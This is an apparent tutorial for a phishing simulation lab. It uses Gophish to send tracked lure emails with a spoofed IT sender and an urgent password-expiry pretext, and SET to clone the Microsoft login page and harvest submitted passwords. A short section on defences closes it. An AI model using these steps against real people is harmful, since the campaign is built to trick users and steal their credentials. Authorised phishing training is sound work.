Phishing Attack Lab – Gophish + SET (Complete Guide)

What You'll Build

A complete, end-to-end phishing campaign simulation:

• Gophish: To manage target lists, send the emails, and track open/click rates.
• SET (Social-Engineer Toolkit): To instantly clone a legitimate website (e.g., Microsoft Login) and capture submitted credentials.

Part 1: Gophish (Email Delivery & Tracking)

Gophish is an open-source phishing framework designed for businesses and penetration testers.

1. Installation

# Download and run Gophish on a Linux server
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
sudo ./gophish

# Access the admin dashboard at: https://localhost:3333
# (Check the terminal output for the default admin password)

2. Campaign Setup

1. Sending Profile: Configure your SMTP server. Use a realistic "From" address (e.g., IT Support <it@company-portal.com>).
2. Audience: Upload a CSV of your target users (Name, Email).
3. Landing Page: This is where users are directed when they click the link. You can import a site directly or write custom HTML. Ensure you include the Gophish tracking tag: {{.URL}}.
4. Email Template: Draft the phishing email. Create a sense of urgency (e.g., "Password Expiry in 24 Hours"). Use variables like {{.FirstName}} to personalize the attack.

Part 2: SET (Site Cloning & Credential Harvesting)

While Gophish handles the emails, the Social-Engineer Toolkit (SET) excels at cloning websites perfectly to trick users into entering their passwords.

1. Installation & Launch

# Install SET (Pre-installed on Kali Linux)
sudo apt install setoolkit

# Launch the toolkit
sudo setoolkit

2. The Credential Harvester Attack

Follow the interactive menu in SET to clone a target site:

# Menu Selection Sequence:
Select: (1) Social-Engineering Attacks
Select: (2) Website Attack Vectors
Select: (3) Credential Harvester Attack Method
Select: (2) Site Cloner

# Configuration:
IP address for the POST back in Harvester/Tabnabbing: [Enter your attacking IP]
Enter the url to clone: https://login.microsoftonline.com

SET will now download the HTML, CSS, and JS of the Microsoft login page, modify the forms to point back to your server, and start an Apache web server on port 80. Anyone visiting your IP will see a perfect clone of Microsoft.

Integration: Point your Gophish email links to this SET server IP.

Part 3: Monitoring & Analysis

Once the campaign is launched, monitor the Gophish dashboard. It will track the funnel in real-time:

• Email Sent: Successfully delivered via SMTP.
• Email Opened: Triggered via a 1x1 invisible tracking pixel.
• Link Clicked: The user clicked the malicious URL.
• Submitted Data (SET): If the user entered their password on the cloned site, SET will log the credentials in /var/log/setoolkit/ (or displayed directly in the terminal).

Defending Against Phishing

As a defender, use this knowledge to implement technical controls:

• FIDO2 / Hardware Security Keys (YubiKey): The only phishing-proof MFA. Standard TOTP (Google Authenticator) can easily be stolen using proxy tools like Evilginx2.
• Email Authentication: Ensure your domain has strict SPF, DKIM, and DMARC policies (p=reject) to prevent attackers from spoofing your internal emails. Check your domain with our DMARC Checker.
• Endpoint Detection: Implement EDR to block execution of malicious payloads if the user downloads an attachment instead of a credential harvester.